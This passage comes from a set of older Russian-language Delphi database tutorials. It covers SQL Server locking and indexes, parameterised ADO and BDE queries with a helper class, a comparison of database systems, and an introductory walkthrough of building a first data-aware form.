нужны данные сейчас а не через пол часа. Что делать? А делать надо не вам а Васе… И сделать ему надо такую простую штуку как разбить свой запрос на обновление на несколько более мелких, с небольшими перерывами между ними, например крутить в цикле и делать обновление по 1000 записей за раз. Тогда между запросами на обновления будут проходить и ваши запросы, хотя и медленнее, но вся система не будет намертво заблокирована. Правда это приведёт что Васины действия по обновлению займут в 3-4 раза больше времени, но это не так страшно как полная недоступность системы в течение длительного времени.

Для MS SQL Server'а есть такие специальные конструкции SQL – hints, они указывают как именно серверу производить запрос, на результат запроса они не влияют. Привыборке данных если нет необходимости в особой тщательности выборки можно применять специальный hint. Рассмотрим на предыдущем примере – Вам нужна погода по всей стране и вы делаете запрос из таблицы. Вам совершенно всё равно успел Вася обновить какой-то город или нет, вас интересуют те данные которые есть сейчас, мало того, вы собираетесь эти данные только показывать, поэтому Ваши действия не должны мешать Васе, ему не надо ждать пока вы покажете данные, он может продолжать менять данные не взирая на то что вы делаете. Для обеспечения текого патерна поведения можно применить запрос:

Select чего-то там From MyTable with (nolock) Where …

Вот этот hint "with (nolock)" и говорит о том что вы не блокируете таблицу, что ваша выборка не должна отжать ситуацию на данный момент, она отраает лишь ситуацию на момент её взятия! Используйте этот hint везде где это только возможно, это существенно ускорит работу системы при большом количестве одновременных запросов к серверу.

Теперь индексы. Что такое индекс – индекс это специальная системная стуктура для быстрого поиска информации. Допустим у вас запрос

Select * From MyTable
Where FirstName='Вася'

Без индексов на этом поле сервер вынужден будет в цикле перебрать все записи в таблице чтобы найти нужные записи. При наличие индексов сервер найдёт записи не проходя по свей таблице, а сразу прочитав в индексе номера записей в которых есть это соответствие. На больших таблицах разница во времени виполнения этого запроса при индексированном и не индексированном поле FirstName может составлять несколько порядков! Мало того безиндексный перебор записей в таблице очень сильно загружает процессор на сервере и загрузку памяти, при многопользовательском доступе такие запросы без индексов могут доканать систему до состояния когда самый мощный сервер будет скорее мёртв чем жив. Поэтому желательно чтобы все поля перечисленные в Where были индексированы. Но в этой идилии есть и ложка дёгтя. Во первых – все Update, Delete и Insert приводят к обновлению индексов, поэтому если на таблице очень много индексированных полей, а запросы на изменнеия данных весьма часты, то дополнительные индексы могут скорее тормозить систему чем ускорять. Во-вторых при очень сложных вложенных запросах с Join и сложными Where конструкциями из многих полей оптимизатор запросов далеко не всегда может правильно угадать какими индексами пользоваться. Например есть список клиентов банка, в таблице есть поля Фамилия и НаличиеКредитки, оба поля индексированы. Есть запрос

Select * From Clients
Where Фамилия='Иванов' and НаличиеКредитки=1

Если оптимизатор использует индекс для поля НаличиеКредитки то по этому полю он выберет индексом миллион клиентов а потом среди них будет очень долго перебором искать Иванова, а если оптимизатор использует индекс по полю Фамилия – то моментально найдёт пять Ивановых, из которых простым перебором найти тех у кого есть кредитка не составит труда…

Есть таблицы которые имеют справочный характер и меняются чрезвычайно редко. Например коды городов, стран, географические названия, название валют и т.д. и т.п. Для таких таблиц операции по их изменнению проводятся исключительно редко, а вот поиск по ним очень част. Настоятельно рекомендую использовать кластерные индексы для таких таблиц. Кластерный индекс заставит сервер физически отсортировать данные в таких таблицах в алфавитном порядке и запросы к ним будут идти быстрее. Кластерные индексы категорически нельзя применять для данных которые часто меняются, потому что любое изменение будет инициировать физическую перестройку всей таблицы.

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Запросы и параметры, или как избавится от многих проблем….

Где я? О чём вы?

Компонент TQuery имеет свойство Params:TParams, а компонент TADOQuery имеет свойство Parameters:TParameters. Эти объекты позволяют в уже готовом запросе подставить какие-либо значения. Делается это таким незамысловатым способом:

ADOQuery1.Active:=False;
ADOQuery1.SQL.text:='Select * From MyTable Where MyField=:prm';
ADOQuery1.Parameters.ParseSQL(ADOQuery1.SQL.text, true);
ADOQuery1.Parameters.ParamByName('prm').Value:='чего-то там';
ADOQuery1.Active:=True;

Для BDE код будет собственно таким:

Query1.Active:=False;
Query1.SQL.text:='Select * From MyTable Where MyField=:prm';
Query1.Params.ParseSQL(Query1.SQL.text, true);
Query1.Params.ParamByName('prm').Value:= 'чего-то там';
Query1.Active:=True;

А зачем это нужно?

1) Если запрос один и тот же но в зависимости от условий надо его задать с другими значениями. Параметры здесь работают немного быстрее и с ними удобнее работать чем с динамическим посторением SQL каждый раз:

...подготавливаем запрос один раз...

ADOQuery1.Active:=False;
ADOQuery1.SQL.text:='Select * From MyTable Where MyField=:prm';
ADOQuery1.Parameters.ParseSQL(ADOQuery1.SQL.text, true);

... всё запрос готов ...

procedure TForm1.Button1Click(Sender: TObject);
begin
  ADOQuery1.Active:=False;
  ADOQuery1.Parameters.ParamByName('prm').Value:=Edit1.text;
  ADOQuery1.Active:=True;
end;

2)При передаче даты и времени. Тут прикол вот в чём. Допустим стоит у вас SQL Server в США и использует формат времени и даты как "01/20/04 1PM", а клиент у вас работает один в Канаде где формат даты "20/01/04 01:00 PM", а другой в России где формат даты "20/01/04 13:00". При отсылке запроса с датой в виде строки надо обязательно согласовывать форматы даты времени клиента и сервера, а при передаче параметров не надо! Дело в том что преобразование параметра происходит на сервере, и сервер его сам преобразует в тот формат который ему нужен!

ADOQuery1.Active:=False;
ADOQuery1.SQL.text:='Select * From MyTable Where LastDate>:prm';
ADOQuery1.Parameters.ParseSQL(ADOQuery1.SQL.text, true);
ADOQuery1.Parameters.ParamByName('prm').Value:=now;
ADOQuery1.Active:=True;

3) При необходимости использовать в запросе двоичные данные или Memo поля использование параметров - это единственный путь

ADOQuery1.Active:=False;
ADOQuery1.SQL.text:='Insert Into MyTable (id, MyPicture)';
ADOQuery1.SQL.Add('Values (:Id, :pic)');
ADOQuery1.Parameters.ParseSQL(ADOQuery1.SQL.text, true);
ADOQuery1.Parameters.ParamByName('id').Value:=now;
ADOQuery1.Parameters.ParamByName('pic').LoadFromFile('c:\mypic.bmp', ftGraphic);
ADOQuery1.ExecSQL;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Примечание от Anatoly Podgoretsky

Для ран тайм можно указать про добавление параметров, определение их типов, поскольку у людей часто возникают проблемы с типами параметров, с присвоением значений через AsФункции и через Value.

with ADOQuery1.Parameters.AddParameter do begin
  Name := 'prm';
  DataType := ftDateTime;
  Direction := pdInput;
  Value := Now;
end;

Есть и другие полезные свойства, например Attributes

строка ADOQuery1.Parameters.ParamByName('prm').Value:=now;

не нужна, но может использоваться.

Что здесь сделано?
1. Создан явный параметр
2. ему дано имя
3. явно указан тип
4. явно указано направление, что этот параметр входной
5. и присвоено ему значение, эквивалент ParamByName

что это дает:
Это снимает все разночтения, которые могут возникнуть при автоматическом разборе выражения с типом и присвоением ему значения.

Примечание от Петровича

Внесу и свою лепту
К параметрам запроса можно обращаться и по индексу. Например так:

with  ADOQuery1  do begin
  SQL.text:='UPDATE Customers SET Addr1=:p WHERE CustNo=:c';
  Parameters[0].Value := 'г.Арбатов';
  Parameters[1].Value := 753;
  ExecSQL;
end;

Это полностью эквивалентно:

with  ADOQuery1  do begin
  SQL.text:='UPDATE Customers SET Addr1=:p WHERE CustNo=:c';
  Parameters.ParamByName('p').Value := 'г.Арбатов';
  Parameters.ParamByName('c').Value := 753;
  ExecSQL;
end;

Кстати, обращаться по именам можно и чуть короче:

with  ADOQuery1  do begin
  SQL.text:='UPDATE Customers SET Addr1=:p WHERE CustNo=:c';
  Parameters.ParamValues['p'] := 'г.Арбатов';
  Parameters.ParamValues['c'] := 753;
  ExecSQL;
end;

Но, вернусь к обращению по индексу.

Так вот, по индексу, к Parameters лучше никогда не обращаться. Или, делать это с особой осторожностью.
Например, если усложнить предыдущий запрос:

with  ADOQuery1  do begin
  SQL.text:='UPDATE Customers SET Addr1=:p , Addr2=:p WHERE CustNo=:c';
  Parameters[0].Value := 'г.Арбатов';
  Parameters[1].Value := 753;
  ExecSQL;
end;

то результат выполнения будет отличаться от варианта:

with  ADOQuery1  do begin
  SQL.text:='UPDATE Customers SET Addr1=:p , Addr2=:p  WHERE CustNo=:c';
  Parameters.ParamValues['p'] := 'г.Арбатов';
  Parameters.ParamValues['c'] := 753;
  ExecSQL;
end;

Все дело в том, что разбор SQL-оператора на уровне компонет Delphi весьма прост, и на мой взгляд делается не совсем корректно.
А именно, не смотря на то, что во втором варианте SQL-оператора упоминаются лишь два параметра: p и c (параметр p упоминается дважды), Delphi создаст ТРИ параметра в массиве Params. Поэтому, оператор Parameters[1].Value := 753; выполнит присваивание значения не параметру с именем c, а второму экземпляру параметра p. А значение параметра c останется равным NULL. Соответственно, при выполнении ExecSQL ошибки возникнуть не должно, но результат будет неправильным. А вот при обращении по имени, все будет хорошо! Наверное, при передаче параметров запроса на SQL-сервер (или соответствующий движок БД), сами компоненты "вытаскивают" значения параметров тоже по имени. Поэтому, не смотря на то что после:

  Parameters.ParamValues['p'] := 'г.Арбатов';
  Parameters.ParamValues['c'] := 753;

заполненными будут лишь параметры с индексами 0 и 2, на правильной работе это не скажется, поскольку до параметра с индексом 1 по имени вообще нельзя "достучаться".

Казалось-бы, зачем так много говорить об этой проблеме? Можно ведь вообще не использовать доступ по индексу, как я и советовал ранее. Но, лично я все-таки использую его. Вот например небольшой объектик которым я люблю пользоваться. Может кому и пригодится. Приведу пример для ADO, но подобное существует и для других методов доступа к БД.

type
  tDbAdo = class
    private
      fConnection :TADOConnection;
    public
      constructor Create (aADOConnection :TADOConnection);

      function CreateQuery  (SQLText :String; fParams :array of const; qParams :array of Variant) :TADOQuery;
        // Возвращает закрытый TADOQuery с заполнеными SQL.Text и Parameters.
        // Ответственность за уничтожение возвращенного TADOQuery лежит на вызывающем!

      function ExecSql      (SQLText :String; fParams :array of const; qParams :array of Variant) :Integer;
        // Выполняет SQL-оператор, и возвращает RowAffected

      function GetField     (SQLText :String; fParams :array of const; qParams :array of Variant) :Variant;
        // Возвращает значение первого поля первой записи результата SQL-запроса

      function CreateSelect (SQLText :String; fParams :array of const; qParams :array of Variant) :TADOQuery;
        // Возвращает открытый TADOQuery с результатом SQL-запроса.
        // Ответственность за уничтожение возвращенного TADOQuery лежит на вызывающем!

      function GetRecCount  (const TableName :string)                            :Integer;    overload;
        // Возвращает число записей в таблице TableName

      function GetRecCount  (const TableName, FieldName :string; Value :Variant) :Integer;    overload;
        // Возвращает число записей в таблице TableName у которых значение поля FieldName равно Value

      property Connection :TADOConnection  read fConnection;
        // TADOConnection с которым соеденен данный tDbAdo
    end;

function SQLInfo (SQLText :string; fParams :array of const; qParams :array of Variant) :String;

  function VarToSqlConstStr (v :Variant) :String;
  begin
    case  VarType(v)  of
      varEmpty, varNull
        : Result := 'NULL';
      varSmallint, varInteger, varSingle, varDouble, varCurrency, varShortInt,
      varByte, varWord, varLongWord, varInt64
        : Result := v;
      varDate, varOLEStr, varStrArg, varString
        : begin Result := Trim(v); if Result='' then Result:='NULL' else Result:=QuotedStr(Result); end;
      varBoolean
        : Result := 'NY'[Ord(Boolean(v))];
      else
        raise EConvertError.Create('VarToSqlConstStr: значение неизвестного типа '+IntToStr(Ord(VarType(v))));
    end;
  end;

var i :Integer;
begin
  try
    Result := Format(SQLText,fParams)+'|';
    for i := 0 to High(qParams) do  Result := Result + VarToSqlConstStr(qParams[i]) +',';
    SetLength(Result,Length(Result)-1);
  except
    Result := ExMsg(SQLText);
  end;
end;

constructor tDbAdo.Create (aADOConnection :TADOConnection);
begin
  inherited Create();
  fConnection := aADOConnection;
end;

function tDbAdo.CreateQuery (SQLText :String; fParams :array of const; qParams :array of Variant) :TADOQuery;
var i : Integer;
begin
   Result := TADOQuery.Create(Self.Connection);
   with  Result  do try
     Connection := Self.Connection;
     SQL.Text := Format(SQLText,fParams);
     if High(qParams)+1 < Parameters.Count  then
        raise Exception.CreateFmt('CreateADOQuery: Передано параметров (%d) меньше чем требует SQL-запрос (%d)',[High(qParams)+1,Parameters.Count]);
     for i := 0 to Parameters.Count-1 do
       Parameters[i].Value := qParams[i]; // <- вот доступ к параметрам по индексу
   except
     Result.Free;
     raise;
   end;
end;

function tDbAdo.ExecSql (SQLText :String; fParams :array of const; qParams :array of Variant) : Integer;
begin
  try
    with  CreateQuery(SQLText,fParams,qParams)  do try
      Result := ExecSQL;
    finally
      Free
    end;
  except
    ExMsg('ExecSql: Ошибка выполнения SQL-оператора:'^M^J^I+SQLInfo(SQLText,fParams,qParams));
    raise;
  end;
end;

function tDbAdo.CreateSelect (SQLText :String; fParams :array of const; qParams :array of Variant) :TADOQuery;
begin
  Result := CreateQuery(SQLText,fParams,qParams);
  try
    Result.Open;
  except
    Result.Free;
    ExMsg('CreateSelect: Ошибка выполнения SQL-оператора:'^M^J^I+SQLInfo(SQLText,fParams,qParams));
    raise;
  end;
end;

function tDbAdo.GetField (SQLText :String; fParams :array of const; qParams :array of Variant) :Variant;
begin
  with  CreateSelect(SQLText,fParams,qParams)  do try
    Result := Fields[0].Value;
  finally
    Free;
  end;
end;

function tDbAdo.GetRecCount (const TableName :string)                            :Integer;
begin
  Result := GetField('SELECT Count(1) FROM %s',[TableName],[]);
end;

function tDbAdo.GetRecCount (const TableName, FieldName :string; Value :Variant) :Integer;
begin
  Result := GetField('SELECT Count(1) FROM %s WHERE %s=:v',[TableName,FieldName],[Value]);
end;

Тут правда я использую некоторые функции из моей библиотеки. Нужный модуль ( awString.pas ) я уже выкладывал то-ли здесь, то-ли на Vingrade. Ну а кому лень искать, все нужные функции я добавлю в конец поста.

Теперь, как енто пользовать.

Например, кладем на форму (я обычно делаю жто в Data-модуле) ADOConnection1: TADOConnection.
Описываем соединение с поставляемой Borland демо-базой данных:
ADOConnection1.ConnectionString := 'FILE NAME=C:\Program Files\Common Files\System\OLE DB\Data Links\DBDEMOS.udl'

Затем, в OnCreate формы пишем:

  ADOConnection1.Open;
  MyDB := tDbAdo.Create(ADOConnection1);

Переменную MyDB описываем например как глобал:
var
  MyDB :tDbAdo;

Ну а далее все просто. Например:

procedure TForm3.Button1Click(Sender: TObject);
begin
  ShowMessage( 'Всего стран: '+IntToStr(
               MyDB.GetRecCount('country')
             ));
  ShowMessage( 'Всего стран в северной америке: '+IntToStr(
               MyDB.GetRecCount('Country','Continent','North America')
             ));
  ShowMessage( 'Всего стран в южной америке: '+IntToStr(
               MyDB.GetRecCount('Country','Continent','South America')
             ));

  ShowMessage( 'Площадь Канады: '+IntToStr(
               MyDB.GetField('SELECT Area FROM Country WHERE Name = :p0',[],['Canada'])
             ));

  with  TStringList.Create  do try

    // получение списка стран южной америки с численностью населения менее 10 000 000
    with  MyDB.CreateSelect('SELECT Name, Population FROM Country'
                           +' WHERE (Continent = :Continent)'
                           +  ' AND (Population < :Population)'
                           ,[],['South America',10000000])  do try
      while  not Eof  do begin
        Add(Fields[0].AsString+' '+Fields[1].AsString);
        Next;
      end;
    finally
      Free;
    end;

    ShowMessage( 'Список стран южной америки с численностью населения менее 10 000 000:'^M^J
                +Text
               );
  finally
    Free;
  end;
end;

Вот и все.
Ах, да. Как обещал, необходимые функции:

var GetLocationInfoStrFunc :function (Addr :Pointer) :String =Nil;
// Процедура испльзуемая для получения информации об адресе Addr (имя модуля,
// процедуры, и пр.).
// Если определена, то используется функцией GetExText.

function LocationInfoStr (Addr :Pointer) :String;
begin
  if  Assigned(GetLocationInfoStrFunc)  then
    Result := GetLocationInfoStrFunc(Addr)
  else
    Result := '['+SysUtils.IntToHex(Cardinal(Addr),8)+']';
end;

function LastExcept :Exception;
// Возвращает объект последнего исключения или Nil (если вызвана вне except .. end)
var
  c :TClass;
  o :tObject;
  s1,s2 :String;
begin
  o := ExceptObject;
  if  o = nil  then
    Result := Nil
  else if  o is Exception  then
    Result := Exception(o)
  else begin
    // Исключение возникло за пределами нашего EXE-файла, например в Dll
    // или ExceptObject вообще не имеет в предках класса Exception!
    // Возвращать его нельзя, поскольку полноценная работа с ним невозможна.
    // В частности, если это Exception из Dll, то его поле Message, имеющее
    // тип LongString нельзя будет переприсваивать - память под текущую
    // строку выделена не нашим распределителем памяти.
    // Можно было-бы заменить его собственным экземпляром, освободив текущий
    // экземпляр, но нам недоступна переменная System.RaiseListPtr. И кроме
    // того возможны ситуации когда обработка текущего исключения возобновится
    // в Dll, тогда опять возникнет проблемма.
    // Не нахожу ничего лучшего, как возбудить исключение с соответствующим
    // текстом ошибки.
    // Если в предках ExceptObject есть Exception, то включить его Message
    // в текст возбуждаемонго исключения.
    c := o.ClassType;
    while (c <> nil) and (not c.ClassNameIs('Exception')) do
      c := c.ClassParent;

    if  c = nil  then begin  // в иерархии o нет 'Exception' - в принципе это нонсенс
      s1 := 'В предках ExceptObject отсутствует Exception.';
      s2 := '';
      end
    else begin  // Есть. Перенесем его Message
      s1 := 'ExceptObject не принадлежащий модулю.';
      s2 := ^M^J^I'  Message = "'+Exception(o).Message+'"';
    end;
    raise EInvalidCast.CreateFmt('Ошибка LastExcept: %s'^M^J^I'  ExceptObject = %s at %s%s'
                                   ,[s1,o.ClassName,LocationInfoStr(ExceptAddr),s2]);
  end;
end;

function GetExMsg (e :Exception) :String;
begin
  if e = Nil  then
    Result := ''
  else with e do begin
    Result := Message;
    //
    //if  ClassName = 'EInOutError'  then
    //  Result := 'Ошибка в/в ('+IntToStr(EInOutError(e).ErrorCode)+')'
    //            +^M^J^I+Result;
  end;
end;

function GetExText (e :Exception; ExAddr :Pointer =Nil) :String;
var s :String;
begin
  if e = Nil  then
    Result := ''
  else with e do begin
    Result := GetExMsg(e);

    s := ClassName;
    if  s = 'Exception'  then  Exit;

    if  ExAddr<>nil  then
      s := s + ' at '+LocationInfoStr(ExAddr);

    if  e.ClassNameIs('EInOutError')  then
      s := s + ' (Ошибка в/в '+IntToStr(EInOutError(e).ErrorCode)+')';

    if  Result<>''  then
      s := s + ^M^J^I + Result;

    Result := s;
  end;
end;

function ExMsg  (e :Exception; const Msg :String ='')         :String; overload;
begin
  if e = Nil  then
    Result := 'No exception'
  else begin
    Result := GetExMsg(e);
    if  Msg <> ''  then
      Result := Msg + ^M^J^I + Result;
    e.Message := Result;
  end;
end;

function ExMsg  (              const Msg :String ='')         :String; overload;
begin
  Result := ExMsg(LastExcept,Msg);
end;

function ExMsg  (const Fmt:String; const Args:array of const) :String; overload;
begin
  Result := ExMsg(Format(Fmt,Args));
end;


Критерии выбора базы данных (статья)

Никаких абсолютных рекомендаций - это только вскидка на первый взгляд. Просто небольшая памятка чтобы не терятся в море баз данных. Возможно мои оценки неточны в деталях, кроме того я оставил лишь наиболее распространённые базы.

1)Размер базы данных - параметер весьма критичен!
- несколько мегабайт: MS Access, XML, CSV, MS Excel, Парадокс, Dbase, Foxpro/VFP, MySQL, PostgreSQL
- до сотни мегабайт: MS Access, Парадокс, Dbase, Foxpro/VFP, MySQL, PostgreSQL, Interbase
- гигабайты: MySQL, PostgreSQL, Interbase, Informix, MS SQL Server, Oracle, SyBase, DB/2
- сотни гигабайт и больше: MS SQL Server, Oracle, SyBase, DB/2

2) Количество одновременных пользователей - пожалуй это самый критичный параметер!
- эксклюзивный доступ одного пользователя: MS Excel, XML, CSV, Парадокс, Dbase, Foxpro/VFP, MS Access, MySQL, PostgreSQL
- до десятка пользователей: Парадокс, Dbase, Foxpro/VFP, MS Access, MySQL, PostgreSQL
- несколько десятков пользователей: MySQL, PostgreSQL, Interbase, Informix
- сотни пользователей: PostgreSQL, Interbase, MS SQL Server, Oracle, SyBase, DB/2
- тысячи пользователей: MS SQL Server, Oracle, SyBase, DB/2

3) Цена базы данных - параметер весьма критичен!
- полностью бесплатно: XML, CSV, MySQL, PostgreSQL, Interbase (некоторые клоны)
- формат бесплатен, для разработки желательно купить дешёвую всего одну систему:MS Excel, Парадокс, Dbase, Foxpro/VFP, MS Access
- дешёвые сервера: Interbase (некоторые клоны), Informix, старые версии SyBase
- дорогие сервера: MS SQL Server, Oracle, SyBase
- сверхдорогие сервера: DB/2

4) Платформа - параметер весьма критичен!
- любая: XML, CSV
- Windows only: MS SQL Server, SyBase, Парадокс, Dbase, Foxpro/VFP, MS Access, MS Excel
- Unix/Linux only:PostgreSQL
- Windows+Linux:Oracle, DB/2, Interbase, MySQL
- Мейнфреймы: DB/2
- Кластеры:MS SQL Server, Oracle, SyBase, DB/2

5) язык программирования - рекомендательный параметер:
- Языки от Microsoft: MS SQL Server, SyBase, Foxpro/VFP, MS Access, MS Excel
- Языки от Борланда: MS SQL Server, Interbase, Парадокс, MS Access
- Системы под Linux: Oracle, DB/2, Interbase, MySQL, PostgreSQL, XML

6) Тип программы - рекомендательный параметер:
- маленький web сервер: MySQL
- мощный web сервер: MS SQL Server, Oracle, SyBase, DB/2
- локальная утилита: Парадокс, Dbase, Foxpro/VFP, MS Access, MS Excel, XML, CSV
- сложная система:MS SQL Server, Oracle, SyBase, DB/2, Interbase, Informix

7) Защита данных - параметер весьма критичен!
- никакая: MS Excel, XML, CSV
- очень слабая: Парадокс, Dbase, Foxpro/VFP, MS Access
- сильная:MS SQL Server, Oracle, SyBase, DB/2, Interbase, Informix, MySQL, PostgreSQL

8) Мощность языка SQL, возможности базы данных (View, Stored procedures, agents, backup, репликации и т.п.) - параметер весьма критичен!
- очень слабые: MS Excel, XML, CSV
- слабые: Парадокс, Dbase, Foxpro/VFP, MS Access, MySQL
- развитые:Interbase, Informix, PostgreSQL
- мощные:MS SQL Server, Oracle, SyBase, DB/2

9) Требования к железу - параметер весьма критичен!:
- неприхотливые:MySQL, PostgreSQL, Парадокс, Dbase, Foxpro/VFP, MS Access,MS Excel, XML, CSV
- чуствительные: Interbase, Informix, SyBase
- требуют отдельных мощных серверов с большой RAM, желательно на нескольких процессорах: MS SQL Server, Oracle, DB/2

10) Способ доступа - рекомендательны параметер:
- ODBC: CSV
- OLE DB/ADO: MS Excel,MS Access,MS SQL Server, SyBase
- DAO:MS Excel,MS Access,Foxpro/VFP
- BDE:Парадокс, Dbase,Foxpro/VFP
- DBExpress:MySQL, Interbase, Oracle, DB/2
- Собственные:XML,MySQL,Interbase, Informix, PostgreSQL, Oracle, SyBase, DB/2

11) Сложность настройки, установки, администрирования, желательность специально обученного персонала для администрирования - параметер весьма критичен!:
- никаких сложностей, администрирование не требуется: MS Excel, XML, CSV
- минимальные либо небольшие сложности: Парадокс, Dbase, Foxpro/VFP, MS Access
- первоначальная настройка плюс минимальная поддержка: PostgreSQL, MySQL
- требуются специальные знания в достаточно большом объёме: Interbase, Informix
- желательно наличие специалиста по базам данных: MS SQL Server, Oracle, SyBase, DB/2

12) Стоимость программистов и администраторов - параметер весьма критичен!:
- небольшая: MS Excel, XML, CSV, Парадокс, Dbase, Foxpro/VFP, MS Access, PostgreSQL, MySQL
- значительная: Interbase, Informix, SyBase
- высокая и очень высокая: MS SQL Server, Oracle, DB/2

13) Перспективы развития базы данных, стабильность фирм-хозяев, выпуск новых релизов и т.п-рекомендательный параметер.
- "мёртвые" или почти мёртвые базы: Парадокс, Dbase, Foxpro/VFP, CSV
- медленно развивающиеся, сомнительные перспективы, фирмы производители не устойчиво стоящие на ногах: Interbase, Informix, PostgreSQL, SyBase
- Гарантированно продолжение, только развивать дальше некуда: MS Excel, MS Access, DB/2
- Бурно развивающиеся базы, частые релизы и апдейты: MS SQL Server, Oracle, XML, MySQL

14) Трудоёмкость и возможность перевода программы от одной базы к другой - рекомендательный параметер:

Лёгкие переходы:
Парадокс<->Dbase<->Foxpro/VFP
CSV->MS Excel
SyBase -> MS SQL Server
MS Excel->MS Access

В остальных случаях обычно можно перевести более лёгкие базы в более навороченные, но не наоборот. Особняком стоит XML который обычно вообще трудно куда дибо перевести
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Базы данных с нуля (статья)

Итак, решил я открыть серию статей для помощи в овладении основными навыками программирования баз данных (БД, или DB - database). Я буду рассчитывать, что читатель имеет понятие о программировании в Дельфи, но абсолютно не знаком с базами данных. Первые несколько постингов будут о базах данных вообще, поэтому прошу не ругать меня - это не офтопик, очень быстро мы доберёмся до Дельфи.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Что такое базы данных?

Итак базы данных существуют следующих видов:

1) Древовидные - простейший пример - Windows Registry, файловая система FAT и XML - здесь информация хранится в древовидной структуре и доступ осуществляется через "путь", т.е. указание всех узлов от корневого до нужного. Например: "c:\My Docs\MyPictures\Me.jpg". Недостатки этого способа хранения данных является очень медленный поиск, если не известен путь и очень плохая устойчивость к повреждениям структуры. Преимущество - возможность хранить в классифицированном виде очень разнородную информацию и очень быстрый поиск при знании ключа. Эти базы данных мы разбирать здесь не будем.

2) Сетевые базы данных - простейший пример - интернет. Т.е. существуют узлы, обособленные друг от друга, содержащие определённую информацию. Каждый узел представляет какое-то количество ссылок на другие узлы, по которым и ведётся поиск. Недостатки - очень сложный и долгий поиск, возможна неполное предоставление информации или невозможность найти нужную информацию. Преимущества - очень легко добавить любую, разнородную информацию, самая высокая стабильность из всех систем. Эти базы данных мы разбирать здесь не будем.

3) Объектные базы данных - новое веяние. Их мы разбирать здесь не будем, но интересующиеся найдут интересной дискуссию о них в нашем разделе по базам данных.

4) Реляционные базы данных - именно с ними мы и будем работать. В дальнейшем если говорится "база данных", то подразумевается "Реляционная база данных". "Реляционный" - Relation - обозначает взаимосвязанный. С этими связями мы будем разбираться потом, а пока можно для простоты считать, что реляционная база данных - это набор двумерных простых таблиц. Недостатки реляционных баз данных - хранение только однородной информации, сложности в добавлении новых структур и взаимоотношений, информация хранящаяся в такой БД должна быть в нужной степени абстрагированна. Преимущества - прежде всего очень высокая скорость поиска - по этому параметру у реляционных баз данных конкурентов нет, высокая стабильность, обилие софта для их поддержки и разработки, удобность для очень широкого круга задач.


Реляционные базы данных?

Итак, Реляционная база данных упрощённо является набором таблиц. Таблица же есть основной строительный кирпичик базы данных. Расмотрим структуру таблицы. Для начала представте себе таблицу, например в Word...
Что в ней есть?

Во-первых есть строки и колонки (raw and columns). В базах данных, в отличие от Word есть строгие ограничения на их содержимое, да и терминология немного другая:
1) Колонка называется тоже columns, но чаще употребляется понятие "поле" (field). Колонка всегда имеет имя (по которому ее можно найти) и обязана хранить данные только одного какого-либо типа - например целые числа, строки, дату/время и т.п. Создавая таблицу вы обязаны указать какой тип имеет каждое поле, другими словами, вы заранее должны определится, какого сорта данные будут хранится в колонке. Например, вот примерно так может выглядеть структура таблицы для хранения данных об участнике этого форума:

· Ник - строка (25 символов)
· ФИО - строка (250 символов)
· Дата регистрации - Дата/время
· Количество постингов - Целое
· Показывать email - True/False

Обратите внимание что для строк я указал конкретную длину, а для остальных ничего не указывал. Зачем? Ответ прост - каждая строка должна занимать строго одинаковое место (об исключениях потом), и это сделано для быстроты поиска. Действительно , если бы каждая строка имела разную длину, то чтобы найти например 1000 строку, надо было бы перечитать все 999 предыдущих строк, но если известно, что каждая строка занимает например 1Кб, то чтобы прочитать 1000 строку достаточно прочитать 1 Кб с 999Кб... Другая сторона этого - например мне надо сравнить даты в приведенной выше таблице - сделать это просто - я точно знаю что первую дату можно прочитать с 276 байта, и так же точно я знаю точные координаты каждой даты. Именно в этом и лежит одна из сторон высокой скорости работы баз данных (другие способы ускорения работы рассмотрим позже).

2) Строка - в базах данных имеет специфическое название - запись (Record) - к Дельфийскому типу Record этот термин не имеет никакого отношения. Хотя большинство БД дают возможность перейти и прочитать например 10 запись, надо с самого начала попытаться никогда этим не пользоваться. Почему? Да просто потому что БД практически всегда подразумевают совместный доступ нескольких пользователей к одним и тем же данным, и если Вы хотите перейти на 10 запись, а другой пользователь в это время удалит запись номер 5, то вы перейдёте вовсе не на ту запись что ожидалось. А как же быть? У вас есть 2 способа - либо вы находите нужную запись по значению поля - например для нашей таблицы это будет выглядеть примерно так:

"Найти пользователя [Вася] в первой колонке"

В результате вы получите доступ ко всем полям записи для "Васи". Либо вы берёте все записи и перебираете их в цикле пока не найдёте нужный - это гораздо худший способ, так как работает на 2-3 порядка медленнее и имеет другие неприятные последствия (об этом позже), но он возможен и иногда применяется.


Первая программа с базами данных?

После небольшого теоретизирования спустимся с небес на землю откроем Дельфи и напишем простейшую программу для баз данных. Напишем, это громко сказано, потому что писать ничего не прийдётся, только компоненты потыкаем.

Открываем новый проект. Открываем форму. Кладём на форму компонент TTable (с закладки "Data Access" или "BDE" - у кого какая версия Дельфей). Оп! Не ожидали - вроде бы и таблица, а компонт не визуальный! Итак компонент TTable - это пока основной компонент для нашей базы - всё обращение к таблице идёт только через него. Теперь давай-те его подсоединим к базе данных.

К Дельфи прилогается учебная база данных, её мы и будем пользовать. Найдите свойство DatabaseName и из выпадающего списка выберите "DBDEMOS" - это и есть учебная база данных. Теперь берём свойство TableName и в выпадающем списке обнаруживаем список имён всех таблиц в базе данных "DBDEMOS", выбираем например "biolife.db" - это таблица так называется (а в данном случае и название файла)

Всё - таблица подсоединена, и с ней даже можно работать, но только в коде. А мы, как особо ленивые, попробуем на сегодня без кода обойтись, а подключить к таблице грид и другие визуальные компоненты.

Но все визуальные компоненты могут подсоединится к TTable только через вспомогательный компонент TDataSource - находящийся на той же закладке. Ставим и его на форму. Находим свойство DataSet у этого компонента и в выпадающем списке указываем на Table1. Теперь визуальные компоенты будут "видеть" инфу в таблице через TDataSource.

Переходим на другую закладку компонентов - "Data Controls" и ставим компоент TDBGrid. В его свойстве DataSource указываем на DataSource1. Что видим? Пока ничего! Таблица то не открыта - кликаем на Table1 и устанавливаем свойство Active в True. Работает!

Можно программу откомпиллировать и поиграться со своим первым приложением для баз данных. Неправда ли очень просто!


Визуальные компоненты для DB

